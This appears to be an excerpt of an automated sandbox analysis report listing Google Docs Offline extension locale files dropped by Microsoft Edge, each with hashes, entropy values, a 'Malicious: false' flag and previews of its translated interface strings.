SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

